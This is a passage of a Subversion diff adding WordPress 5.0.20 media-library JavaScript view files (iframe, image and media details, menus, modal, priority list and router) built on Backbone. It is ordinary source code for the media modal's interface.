+++ /tags/5.0.20/src/wp-includes/js/media/views/iframe.js	(revision 56912)
@@ -0,0 +1,24 @@
+/**
+ * wp.media.view.Iframe
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+var Iframe = wp.media.View.extend(/** @lends wp.media.view.Iframe.prototype */{
+	className: 'media-iframe',
+	/**
+	 * @returns {wp.media.view.Iframe} Returns itself to allow chaining
+	 */
+	render: function() {
+		this.views.detach();
+		this.$el.html( '<iframe src="' + this.controller.state().get('src') + '" />' );
+		this.views.render();
+		return this;
+	}
+});
+
+module.exports = Iframe;
Index: /tags/5.0.20/src/wp-includes/js/media/views/image-details.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/image-details.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/image-details.js	(revision 56912)
@@ -0,0 +1,168 @@
+var AttachmentDisplay = wp.media.view.Settings.AttachmentDisplay,
+	$ = jQuery,
+	ImageDetails;
+
+/**
+ * wp.media.view.ImageDetails
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.view.Settings.AttachmentDisplay
+ * @augments wp.media.view.Settings
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+ImageDetails = AttachmentDisplay.extend(/** @lends wp.media.view.ImageDetails.prototype */{
+	className: 'image-details',
+	template:  wp.template('image-details'),
+	events: _.defaults( AttachmentDisplay.prototype.events, {
+		'click .edit-attachment': 'editAttachment',
+		'click .replace-attachment': 'replaceAttachment',
+		'click .advanced-toggle': 'onToggleAdvanced',
+		'change [data-setting="customWidth"]': 'onCustomSize',
+		'change [data-setting="customHeight"]': 'onCustomSize',
+		'keyup [data-setting="customWidth"]': 'onCustomSize',
+		'keyup [data-setting="customHeight"]': 'onCustomSize'
+	} ),
+	initialize: function() {
+		// used in AttachmentDisplay.prototype.updateLinkTo
+		this.options.attachment = this.model.attachment;
+		this.listenTo( this.model, 'change:url', this.updateUrl );
+		this.listenTo( this.model, 'change:link', this.toggleLinkSettings );
+		this.listenTo( this.model, 'change:size', this.toggleCustomSize );
+
+		AttachmentDisplay.prototype.initialize.apply( this, arguments );
+	},
+
+	prepare: function() {
+		var attachment = false;
+
+		if ( this.model.attachment ) {
+			attachment = this.model.attachment.toJSON();
+		}
+		return _.defaults({
+			model: this.model.toJSON(),
+			attachment: attachment
+		}, this.options );
+	},
+
+	render: function() {
+		var args = arguments;
+
+		if ( this.model.attachment && 'pending' === this.model.dfd.state() ) {
+			this.model.dfd
+				.done( _.bind( function() {
+					AttachmentDisplay.prototype.render.apply( this, args );
+					this.postRender();
+				}, this ) )
+				.fail( _.bind( function() {
+					this.model.attachment = false;
+					AttachmentDisplay.prototype.render.apply( this, args );
+					this.postRender();
+				}, this ) );
+		} else {
+			AttachmentDisplay.prototype.render.apply( this, arguments );
+			this.postRender();
+		}
+
+		return this;
+	},
+
+	postRender: function() {
+		setTimeout( _.bind( this.resetFocus, this ), 10 );
+		this.toggleLinkSettings();
+		if ( window.getUserSetting( 'advImgDetails' ) === 'show' ) {
+			this.toggleAdvanced( true );
+		}
+		this.trigger( 'post-render' );
+	},
+
+	resetFocus: function() {
+		this.$( '.link-to-custom' ).blur();
+		this.$( '.embed-media-settings' ).scrollTop( 0 );
+	},
+
+	updateUrl: function() {
+		this.$( '.image img' ).attr( 'src', this.model.get( 'url' ) );
+		this.$( '.url' ).val( this.model.get( 'url' ) );
+	},
+
+	toggleLinkSettings: function() {
+		if ( this.model.get( 'link' ) === 'none' ) {
+			this.$( '.link-settings' ).addClass('hidden');
+		} else {
+			this.$( '.link-settings' ).removeClass('hidden');
+		}
+	},
+
+	toggleCustomSize: function() {
+		if ( this.model.get( 'size' ) !== 'custom' ) {
+			this.$( '.custom-size' ).addClass('hidden');
+		} else {
+			this.$( '.custom-size' ).removeClass('hidden');
+		}
+	},
+
+	onCustomSize: function( event ) {
+		var dimension = $( event.target ).data('setting'),
+			num = $( event.target ).val(),
+			value;
+
+		// Ignore bogus input
+		if ( ! /^\d+/.test( num ) || parseInt( num, 10 ) < 1 ) {
+			event.preventDefault();
+			return;
+		}
+
+		if ( dimension === 'customWidth' ) {
+			value = Math.round( 1 / this.model.get( 'aspectRatio' ) * num );
+			this.model.set( 'customHeight', value, { silent: true } );
+			this.$( '[data-setting="customHeight"]' ).val( value );
+		} else {
+			value = Math.round( this.model.get( 'aspectRatio' ) * num );
+			this.model.set( 'customWidth', value, { silent: true  } );
+			this.$( '[data-setting="customWidth"]' ).val( value );
+		}
+	},
+
+	onToggleAdvanced: function( event ) {
+		event.preventDefault();
+		this.toggleAdvanced();
+	},
+
+	toggleAdvanced: function( show ) {
+		var $advanced = this.$el.find( '.advanced-section' ),
+			mode;
+
+		if ( $advanced.hasClass('advanced-visible') || show === false ) {
+			$advanced.removeClass('advanced-visible');
+			$advanced.find('.advanced-settings').addClass('hidden');
+			mode = 'hide';
+		} else {
+			$advanced.addClass('advanced-visible');
+			$advanced.find('.advanced-settings').removeClass('hidden');
+			mode = 'show';
+		}
+
+		window.setUserSetting( 'advImgDetails', mode );
+	},
+
+	editAttachment: function( event ) {
+		var editState = this.controller.states.get( 'edit-image' );
+
+		if ( window.imageEdit && editState ) {
+			event.preventDefault();
+			editState.set( 'image', this.model.attachment );
+			this.controller.setState( 'edit-image' );
+		}
+	},
+
+	replaceAttachment: function( event ) {
+		event.preventDefault();
+		this.controller.setState( 'replace-image' );
+	}
+});
+
+module.exports = ImageDetails;
Index: /tags/5.0.20/src/wp-includes/js/media/views/label.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/label.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/label.js	(revision 56912)
@@ -0,0 +1,26 @@
+/**
+ * wp.media.view.Label
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+var Label = wp.media.View.extend(/** @lends wp.media.view.Label.prototype */{
+	tagName: 'label',
+	className: 'screen-reader-text',
+
+	initialize: function() {
+		this.value = this.options.value;
+	},
+
+	render: function() {
+		this.$el.html( this.value );
+
+		return this;
+	}
+});
+
+module.exports = Label;
Index: /tags/5.0.20/src/wp-includes/js/media/views/media-details.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/media-details.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/media-details.js	(revision 56912)
@@ -0,0 +1,168 @@
+/* global MediaElementPlayer */
+var AttachmentDisplay = wp.media.view.Settings.AttachmentDisplay,
+	$ = jQuery,
+	MediaDetails;
+
+/**
+ * wp.media.view.MediaDetails
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.view.Settings.AttachmentDisplay
+ * @augments wp.media.view.Settings
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+MediaDetails = AttachmentDisplay.extend(/** @lends wp.media.view.MediaDetails.prototype */{
+	initialize: function() {
+		_.bindAll(this, 'success');
+		this.players = [];
+		this.listenTo( this.controller, 'close', wp.media.mixin.unsetPlayers );
+		this.on( 'ready', this.setPlayer );
+		this.on( 'media:setting:remove', wp.media.mixin.unsetPlayers, this );
+		this.on( 'media:setting:remove', this.render );
+		this.on( 'media:setting:remove', this.setPlayer );
+
+		AttachmentDisplay.prototype.initialize.apply( this, arguments );
+	},
+
+	events: function(){
+		return _.extend( {
+			'click .remove-setting' : 'removeSetting',
+			'change .content-track' : 'setTracks',
+			'click .remove-track' : 'setTracks',
+			'click .add-media-source' : 'addSource'
+		}, AttachmentDisplay.prototype.events );
+	},
+
+	prepare: function() {
+		return _.defaults({
+			model: this.model.toJSON()
+		}, this.options );
+	},
+
+	/**
+	 * Remove a setting's UI when the model unsets it
+	 *
+	 * @fires wp.media.view.MediaDetails#media:setting:remove
+	 *
+	 * @param {Event} e
+	 */
+	removeSetting : function(e) {
+		var wrap = $( e.currentTarget ).parent(), setting;
+		setting = wrap.find( 'input' ).data( 'setting' );
+
+		if ( setting ) {
+			this.model.unset( setting );
+			this.trigger( 'media:setting:remove', this );
+		}
+
+		wrap.remove();
+	},
+
+	/**
+	 *
+	 * @fires wp.media.view.MediaDetails#media:setting:remove
+	 */
+	setTracks : function() {
+		var tracks = '';
+
+		_.each( this.$('.content-track'), function(track) {
+			tracks += $( track ).val();
+		} );
+
+		this.model.set( 'content', tracks );
+		this.trigger( 'media:setting:remove', this );
+	},
+
+	addSource : function( e ) {
+		this.controller.lastMime = $( e.currentTarget ).data( 'mime' );
+		this.controller.setState( 'add-' + this.controller.defaults.id + '-source' );
+	},
+
+	loadPlayer: function () {
+		this.players.push( new MediaElementPlayer( this.media, this.settings ) );
+		this.scriptXhr = false;
+	},
+
+	setPlayer : function() {
+		var src;
+
+		if ( this.players.length || ! this.media || this.scriptXhr ) {
+			return;
+		}
+
+		src = this.model.get( 'src' );
+
+		if ( src && src.indexOf( 'vimeo' ) > -1 && ! ( 'Vimeo' in window ) ) {
+			this.scriptXhr = $.getScript( 'https://player.vimeo.com/api/player.js', _.bind( this.loadPlayer, this ) );
+		} else {
+			this.loadPlayer();
+		}
+	},
+
+	/**
+	 * @abstract
+	 */
+	setMedia : function() {
+		return this;
+	},
+
+	success : function(mejs) {
+		var autoplay = mejs.attributes.autoplay && 'false' !== mejs.attributes.autoplay;
+
+		if ( 'flash' === mejs.pluginType && autoplay ) {
+			mejs.addEventListener( 'canplay', function() {
+				mejs.play();
+			}, false );
+		}
+
+		this.mejs = mejs;
+	},
+
+	/**
+	 * @returns {media.view.MediaDetails} Returns itself to allow chaining
+	 */
+	render: function() {
+		AttachmentDisplay.prototype.render.apply( this, arguments );
+
+		setTimeout( _.bind( function() {
+			this.resetFocus();
+		}, this ), 10 );
+
+		this.settings = _.defaults( {
+			success : this.success
+		}, wp.media.mixin.mejsSettings );
+
+		return this.setMedia();
+	},
+
+	resetFocus: function() {
+		this.$( '.embed-media-settings' ).scrollTop( 0 );
+	}
+},/** @lends wp.media.view.MediaDetails */{
+	instances : 0,
+	/**
+	 * When multiple players in the DOM contain the same src, things get weird.
+	 *
+	 * @param {HTMLElement} elem
+	 * @returns {HTMLElement}
+	 */
+	prepareSrc : function( elem ) {
+		var i = MediaDetails.instances++;
+		_.each( $( elem ).find( 'source' ), function( source ) {
+			source.src = [
+				source.src,
+				source.src.indexOf('?') > -1 ? '&' : '?',
+				'_=',
+				i
+			].join('');
+		} );
+
+		return elem;
+	}
+});
+
+module.exports = MediaDetails;
Index: /tags/5.0.20/src/wp-includes/js/media/views/media-frame.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/media-frame.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/media-frame.js	(revision 56912)
@@ -0,0 +1,279 @@
+var Frame = wp.media.view.Frame,
+	$ = jQuery,
+	MediaFrame;
+
+/**
+ * wp.media.view.MediaFrame
+ *
+ * The frame used to create the media modal.
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.view.Frame
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ * @mixes wp.media.controller.StateMachine
+ */
+MediaFrame = Frame.extend(/** @lends wp.media.view.MediaFrame.prototype */{
+	className: 'media-frame',
+	template:  wp.template('media-frame'),
+	regions:   ['menu','title','content','toolbar','router'],
+
+	events: {
+		'click div.media-frame-title h1': 'toggleMenu'
+	},
+
+	/**
+	 * @constructs
+	 */
+	initialize: function() {
+		Frame.prototype.initialize.apply( this, arguments );
+
+		_.defaults( this.options, {
+			title:    '',
+			modal:    true,
+			uploader: true
+		});
+
+		// Ensure core UI is enabled.
+		this.$el.addClass('wp-core-ui');
+
+		// Initialize modal container view.
+		if ( this.options.modal ) {
+			this.modal = new wp.media.view.Modal({
+				controller: this,
+				title:      this.options.title
+			});
+
+			this.modal.content( this );
+		}
+
+		// Force the uploader off if the upload limit has been exceeded or
+		// if the browser isn't supported.
+		if ( wp.Uploader.limitExceeded || ! wp.Uploader.browser.supported ) {
+			this.options.uploader = false;
+		}
+
+		// Initialize window-wide uploader.
+		if ( this.options.uploader ) {
+			this.uploader = new wp.media.view.UploaderWindow({
+				controller: this,
+				uploader: {
+					dropzone:  this.modal ? this.modal.$el : this.$el,
+					container: this.$el
+				}
+			});
+			this.views.set( '.media-frame-uploader', this.uploader );
+		}
+
+		this.on( 'attach', _.bind( this.views.ready, this.views ), this );
+
+		// Bind default title creation.
+		this.on( 'title:create:default', this.createTitle, this );
+		this.title.mode('default');
+
+		this.on( 'title:render', function( view ) {
+			view.$el.append( '<span class="dashicons dashicons-arrow-down"></span>' );
+		});
+
+		// Bind default menu.
+		this.on( 'menu:create:default', this.createMenu, this );
+	},
+	/**
+	 * @returns {wp.media.view.MediaFrame} Returns itself to allow chaining
+	 */
+	render: function() {
+		// Activate the default state if no active state exists.
+		if ( ! this.state() && this.options.state ) {
+			this.setState( this.options.state );
+		}
+		/**
+		 * call 'render' directly on the parent class
+		 */
+		return Frame.prototype.render.apply( this, arguments );
+	},
+	/**
+	 * @param {Object} title
+	 * @this wp.media.controller.Region
+	 */
+	createTitle: function( title ) {
+		title.view = new wp.media.View({
+			controller: this,
+			tagName: 'h1'
+		});
+	},
+	/**
+	 * @param {Object} menu
+	 * @this wp.media.controller.Region
+	 */
+	createMenu: function( menu ) {
+		menu.view = new wp.media.view.Menu({
+			controller: this
+		});
+	},
+
+	toggleMenu: function() {
+		this.$el.find( '.media-menu' ).toggleClass( 'visible' );
+	},
+
+	/**
+	 * @param {Object} toolbar
+	 * @this wp.media.controller.Region
+	 */
+	createToolbar: function( toolbar ) {
+		toolbar.view = new wp.media.view.Toolbar({
+			controller: this
+		});
+	},
+	/**
+	 * @param {Object} router
+	 * @this wp.media.controller.Region
+	 */
+	createRouter: function( router ) {
+		router.view = new wp.media.view.Router({
+			controller: this
+		});
+	},
+	/**
+	 * @param {Object} options
+	 */
+	createIframeStates: function( options ) {
+		var settings = wp.media.view.settings,
+			tabs = settings.tabs,
+			tabUrl = settings.tabUrl,
+			$postId;
+
+		if ( ! tabs || ! tabUrl ) {
+			return;
+		}
+
+		// Add the post ID to the tab URL if it exists.
+		$postId = $('#post_ID');
+		if ( $postId.length ) {
+			tabUrl += '&post_id=' + $postId.val();
+		}
+
+		// Generate the tab states.
+		_.each( tabs, function( title, id ) {
+			this.state( 'iframe:' + id ).set( _.defaults({
+				tab:     id,
+				src:     tabUrl + '&tab=' + id,
+				title:   title,
+				content: 'iframe',
+				menu:    'default'
+			}, options ) );
+		}, this );
+
+		this.on( 'content:create:iframe', this.iframeContent, this );
+		this.on( 'content:deactivate:iframe', this.iframeContentCleanup, this );
+		this.on( 'menu:render:default', this.iframeMenu, this );
+		this.on( 'open', this.hijackThickbox, this );
+		this.on( 'close', this.restoreThickbox, this );
+	},
+
+	/**
+	 * @param {Object} content
+	 * @this wp.media.controller.Region
+	 */
+	iframeContent: function( content ) {
+		this.$el.addClass('hide-toolbar');
+		content.view = new wp.media.view.Iframe({
+			controller: this
+		});
+	},
+
+	iframeContentCleanup: function() {
+		this.$el.removeClass('hide-toolbar');
+	},
+
+	iframeMenu: function( view ) {
+		var views = {};
+
+		if ( ! view ) {
+			return;
+		}
+
+		_.each( wp.media.view.settings.tabs, function( title, id ) {
+			views[ 'iframe:' + id ] = {
+				text: this.state( 'iframe:' + id ).get('title'),
+				priority: 200
+			};
+		}, this );
+
+		view.set( views );
+	},
+
+	hijackThickbox: function() {
+		var frame = this;
+
+		if ( ! window.tb_remove || this._tb_remove ) {
+			return;
+		}
+
+		this._tb_remove = window.tb_remove;
+		window.tb_remove = function() {
+			frame.close();
+			frame.reset();
+			frame.setState( frame.options.state );
+			frame._tb_remove.call( window );
+		};
+	},
+
+	restoreThickbox: function() {
+		if ( ! this._tb_remove ) {
+			return;
+		}
+
+		window.tb_remove = this._tb_remove;
+		delete this._tb_remove;
+	}
+});
+
+// Map some of the modal's methods to the frame.
+_.each(['open','close','attach','detach','escape'], function( method ) {
+	/**
+	 * @function open
+	 * @memberOf wp.media.view.MediaFrame
+	 * @instance
+	 *
+	 * @returns {wp.media.view.MediaFrame} Returns itself to allow chaining
+	 */
+	/**
+	 * @function close
+	 * @memberOf wp.media.view.MediaFrame
+	 * @instance
+	 *
+	 * @returns {wp.media.view.MediaFrame} Returns itself to allow chaining
+	 */
+	/**
+	 * @function attach
+	 * @memberOf wp.media.view.MediaFrame
+	 * @instance
+	 *
+	 * @returns {wp.media.view.MediaFrame} Returns itself to allow chaining
+	 */
+	/**
+	 * @function detach
+	 * @memberOf wp.media.view.MediaFrame
+	 * @instance
+	 *
+	 * @returns {wp.media.view.MediaFrame} Returns itself to allow chaining
+	 */
+	/**
+	 * @function escape
+	 * @memberOf wp.media.view.MediaFrame
+	 * @instance
+	 *
+	 * @returns {wp.media.view.MediaFrame} Returns itself to allow chaining
+	 */
+	MediaFrame.prototype[ method ] = function() {
+		if ( this.modal ) {
+			this.modal[ method ].apply( this.modal, arguments );
+		}
+		return this;
+	};
+});
+
+module.exports = MediaFrame;
Index: /tags/5.0.20/src/wp-includes/js/media/views/menu-item.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/menu-item.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/menu-item.js	(revision 56912)
@@ -0,0 +1,72 @@
+var $ = jQuery,
+	MenuItem;
+
+/**
+ * wp.media.view.MenuItem
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+MenuItem = wp.media.View.extend(/** @lends wp.media.view.MenuItem.prototype */{
+	tagName:   'a',
+	className: 'media-menu-item',
+
+	attributes: {
+		href: '#'
+	},
+
+	events: {
+		'click': '_click'
+	},
+	/**
+	 * @param {Object} event
+	 */
+	_click: function( event ) {
+		var clickOverride = this.options.click;
+
+		if ( event ) {
+			event.preventDefault();
+		}
+
+		if ( clickOverride ) {
+			clickOverride.call( this );
+		} else {
+			this.click();
+		}
+
+		// When selecting a tab along the left side,
+		// focus should be transferred into the main panel
+		if ( ! wp.media.isTouchDevice ) {
+			$('.media-frame-content input').first().focus();
+		}
+	},
+
+	click: function() {
+		var state = this.options.state;
+
+		if ( state ) {
+			this.controller.setState( state );
+			this.views.parent.$el.removeClass( 'visible' ); // TODO: or hide on any click, see below
+		}
+	},
+	/**
+	 * @returns {wp.media.view.MenuItem} returns itself to allow chaining
+	 */
+	render: function() {
+		var options = this.options;
+
+		if ( options.text ) {
+			this.$el.text( options.text );
+		} else if ( options.html ) {
+			this.$el.html( options.html );
+		}
+
+		return this;
+	}
+});
+
+module.exports = MenuItem;
Index: /tags/5.0.20/src/wp-includes/js/media/views/menu.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/menu.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/menu.js	(revision 56912)
@@ -0,0 +1,117 @@
+var MenuItem = wp.media.view.MenuItem,
+	PriorityList = wp.media.view.PriorityList,
+	Menu;
+
+/**
+ * wp.media.view.Menu
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.view.PriorityList
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+Menu = PriorityList.extend(/** @lends wp.media.view.Menu.prototype */{
+	tagName:   'div',
+	className: 'media-menu',
+	property:  'state',
+	ItemView:  MenuItem,
+	region:    'menu',
+
+	/* TODO: alternatively hide on any click anywhere
+	events: {
+		'click': 'click'
+	},
+
+	click: function() {
+		this.$el.removeClass( 'visible' );
+	},
+	*/
+
+	/**
+	 * @param {Object} options
+	 * @param {string} id
+	 * @returns {wp.media.View}
+	 */
+	toView: function( options, id ) {
+		options = options || {};
+		options[ this.property ] = options[ this.property ] || id;
+		return new this.ItemView( options ).render();
+	},
+
+	ready: function() {
+		/**
+		 * call 'ready' directly on the parent class
+		 */
+		PriorityList.prototype.ready.apply( this, arguments );
+		this.visibility();
+	},
+
+	set: function() {
+		/**
+		 * call 'set' directly on the parent class
+		 */
+		PriorityList.prototype.set.apply( this, arguments );
+		this.visibility();
+	},
+
+	unset: function() {
+		/**
+		 * call 'unset' directly on the parent class
+		 */
+		PriorityList.prototype.unset.apply( this, arguments );
+		this.visibility();
+	},
+
+	visibility: function() {
+		var region = this.region,
+			view = this.controller[ region ].get(),
+			views = this.views.get(),
+			hide = ! views || views.length < 2;
+
+		if ( this === view ) {
+			this.controller.$el.toggleClass( 'hide-' + region, hide );
+		}
+	},
+	/**
+	 * @param {string} id
+	 */
+	select: function( id ) {
+		var view = this.get( id );
+
+		if ( ! view ) {
+			return;
+		}
+
+		this.deselect();
+		view.$el.addClass('active');
+	},
+
+	deselect: function() {
+		this.$el.children().removeClass('active');
+	},
+
+	hide: function( id ) {
+		var view = this.get( id );
+
+		if ( ! view ) {
+			return;
+		}
+
+		view.$el.addClass('hidden');
+	},
+
+	show: function( id ) {
+		var view = this.get( id );
+
+		if ( ! view ) {
+			return;
+		}
+
+		view.$el.removeClass('hidden');
+	}
+});
+
+module.exports = Menu;
Index: /tags/5.0.20/src/wp-includes/js/media/views/modal.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/modal.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/modal.js	(revision 56912)
@@ -0,0 +1,202 @@
+var $ = jQuery,
+	Modal;
+
+/**
+ * wp.media.view.Modal
+ *
+ * A modal view, which the media modal uses as its default container.
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+Modal = wp.media.View.extend(/** @lends wp.media.view.Modal.prototype */{
+	tagName:  'div',
+	template: wp.template('media-modal'),
+
+	events: {
+		'click .media-modal-backdrop, .media-modal-close': 'escapeHandler',
+		'keydown': 'keydown'
+	},
+
+	clickedOpenerEl: null,
+
+	initialize: function() {
+		_.defaults( this.options, {
+			container: document.body,
+			title:     '',
+			propagate: true
+		});
+
+		this.focusManager = new wp.media.view.FocusManager({
+			el: this.el
+		});
+	},
+	/**
+	 * @returns {Object}
+	 */
+	prepare: function() {
+		return {
+			title: this.options.title
+		};
+	},
+
+	/**
+	 * @returns {wp.media.view.Modal} Returns itself to allow chaining
+	 */
+	attach: function() {
+		if ( this.views.attached ) {
+			return this;
+		}
+
+		if ( ! this.views.rendered ) {
+			this.render();
+		}
+
+		this.$el.appendTo( this.options.container );
+
+		// Manually mark the view as attached and trigger ready.
+		this.views.attached = true;
+		this.views.ready();
+
+		return this.propagate('attach');
+	},
+
+	/**
+	 * @returns {wp.media.view.Modal} Returns itself to allow chaining
+	 */
+	detach: function() {
+		if ( this.$el.is(':visible') ) {
+			this.close();
+		}
+
+		this.$el.detach();
+		this.views.attached = false;
+		return this.propagate('detach');
+	},
+
+	/**
+	 * @returns {wp.media.view.Modal} Returns itself to allow chaining
+	 */
+	open: function() {
+		var $el = this.$el,
+			mceEditor;
+
+		if ( $el.is(':visible') ) {
+			return this;
+		}
+
+		this.clickedOpenerEl = document.activeElement;
+
+		if ( ! this.views.attached ) {
+			this.attach();
+		}
+
+		// Disable page scrolling.
+		$( 'body' ).addClass( 'modal-open' );
+
+		$el.show();
+
+		// Try to close the onscreen keyboard
+		if ( 'ontouchend' in document ) {
+			if ( ( mceEditor = window.tinymce && window.tinymce.activeEditor ) && ! mceEditor.isHidden() && mceEditor.iframeElement ) {
+				mceEditor.iframeElement.focus();
+				mceEditor.iframeElement.blur();
+
+				setTimeout( function() {
+					mceEditor.iframeElement.blur();
+				}, 100 );
+			}
+		}
+
+		// Set initial focus on the content instead of this view element, to avoid page scrolling.
+		this.$( '.media-modal' ).focus();
+
+		return this.propagate('open');
+	},
+
+	/**
+	 * @param {Object} options
+	 * @returns {wp.media.view.Modal} Returns itself to allow chaining
+	 */
+	close: function( options ) {
+		if ( ! this.views.attached || ! this.$el.is(':visible') ) {
+			return this;
+		}
+
+		// Enable page scrolling.
+		$( 'body' ).removeClass( 'modal-open' );
+
+		// Hide modal and remove restricted media modal tab focus once it's closed
+		this.$el.hide().undelegate( 'keydown' );
+
+		// Put focus back in useful location once modal is closed.
+		if ( null !== this.clickedOpenerEl ) {
+			this.clickedOpenerEl.focus();
+		} else {
+			$( '#wpbody-content' ).focus();
+		}
+
+		this.propagate('close');
+
+		if ( options && options.escape ) {
+			this.propagate('escape');
+		}
+
+		return this;
+	},
+	/**
+	 * @returns {wp.media.view.Modal} Returns itself to allow chaining
+	 */
+	escape: function() {
+		return this.close({ escape: true });
+	},
+	/**
+	 * @param {Object} event
+	 */
+	escapeHandler: function( event ) {
+		event.preventDefault();
+		this.escape();
+	},
+
+	/**
+	 * @param {Array|Object} content Views to register to '.media-modal-content'
+	 * @returns {wp.media.view.Modal} Returns itself to allow chaining
+	 */
+	content: function( content ) {
+		this.views.set( '.media-modal-content', content );
+		return this;
+	},
+
+	/**
+	 * Triggers a modal event and if the `propagate` option is set,
+	 * forwards events to the modal's controller.
+	 *
+	 * @param {string} id
+	 * @returns {wp.media.view.Modal} Returns itself to allow chaining
+	 */
+	propagate: function( id ) {
+		this.trigger( id );
+
+		if ( this.options.propagate ) {
+			this.controller.trigger( id );
+		}
+
+		return this;
+	},
+	/**
+	 * @param {Object} event
+	 */
+	keydown: function( event ) {
+		// Close the modal when escape is pressed.
+		if ( 27 === event.which && this.$el.is(':visible') ) {
+			this.escape();
+			event.stopImmediatePropagation();
+		}
+	}
+});
+
+module.exports = Modal;
Index: /tags/5.0.20/src/wp-includes/js/media/views/priority-list.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/priority-list.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/priority-list.js	(revision 56912)
@@ -0,0 +1,97 @@
+/**
+ * wp.media.view.PriorityList
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+var PriorityList = wp.media.View.extend(/** @lends wp.media.view.PriorityList.prototype */{
+	tagName:   'div',
+
+	initialize: function() {
+		this._views = {};
+
+		this.set( _.extend( {}, this._views, this.options.views ), { silent: true });
+		delete this.options.views;
+
+		if ( ! this.options.silent ) {
+			this.render();
+		}
+	},
+	/**
+	 * @param {string} id
+	 * @param {wp.media.View|Object} view
+	 * @param {Object} options
+	 * @returns {wp.media.view.PriorityList} Returns itself to allow chaining
+	 */
+	set: function( id, view, options ) {
+		var priority, views, index;
+
+		options = options || {};
+
+		// Accept an object with an `id` : `view` mapping.
+		if ( _.isObject( id ) ) {
+			_.each( id, function( view, id ) {
+				this.set( id, view );
+			}, this );
+			return this;
+		}
+
+		if ( ! (view instanceof Backbone.View) ) {
+			view = this.toView( view, id, options );
+		}
+		view.controller = view.controller || this.controller;
+
+		this.unset( id );
+
+		priority = view.options.priority || 10;
+		views = this.views.get() || [];
+
+		_.find( views, function( existing, i ) {
+			if ( existing.options.priority > priority ) {
+				index = i;
+				return true;
+			}
+		});
+
+		this._views[ id ] = view;
+		this.views.add( view, {
+			at: _.isNumber( index ) ? index : views.length || 0
+		});
+
+		return this;
+	},
+	/**
+	 * @param {string} id
+	 * @returns {wp.media.View}
+	 */
+	get: function( id ) {
+		return this._views[ id ];
+	},
+	/**
+	 * @param {string} id
+	 * @returns {wp.media.view.PriorityList}
+	 */
+	unset: function( id ) {
+		var view = this.get( id );
+
+		if ( view ) {
+			view.remove();
+		}
+
+		delete this._views[ id ];
+		return this;
+	},
+	/**
+	 * @param {Object} options
+	 * @returns {wp.media.View}
+	 */
+	toView: function( options ) {
+		return new wp.media.View( options );
+	}
+});
+
+module.exports = PriorityList;
Index: /tags/5.0.20/src/wp-includes/js/media/views/router-item.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/router-item.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/router-item.js	(revision 56912)
@@ -0,0 +1,24 @@
+/**
+ * wp.media.view.RouterItem
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.view.MenuItem
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+var RouterItem = wp.media.view.MenuItem.extend(/** @lends wp.media.view.RouterItem.prototype */{
+	/**
+	 * On click handler to activate the content region's corresponding mode.
+	 */
+	click: function() {
+		var contentMode = this.options.contentMode;
+		if ( contentMode ) {
+			this.controller.content.mode( contentMode );
+		}
+	}
+});
+
+module.exports = RouterItem;
Index: /tags/5.0.20/src/wp-includes/js/media/views/router.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media/views/router.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media/views/router.js	(revision 56912)
@@ -0,0 +1,37 @@
+var Menu = wp.media.view.Menu,
+	Router;
+
+/**
+ * wp.media.view.Router
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.view.Menu
+ * @augments wp.media.view.PriorityList
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+Router = Menu.extend(/** @lends wp.media.view.Router.prototype */{
+	tagName:   'div',
+	className: 'media-router',
+	property:  'contentMode',
+	ItemView:  wp.media.view.RouterItem,
+	region:    'router',
+
+	initialize: function() {
+		this.controller.on( 'content:render', this.update, this );
+		// Call 'initialize' directly on the parent class.
+		Menu.prototype.initialize.apply( this, arguments );
+	},
+
+	update: function() {
+		var mode = this.controller.content.mode();
+		if ( mode ) {
+			this.select( mode );
+		}
+	}
+});
+
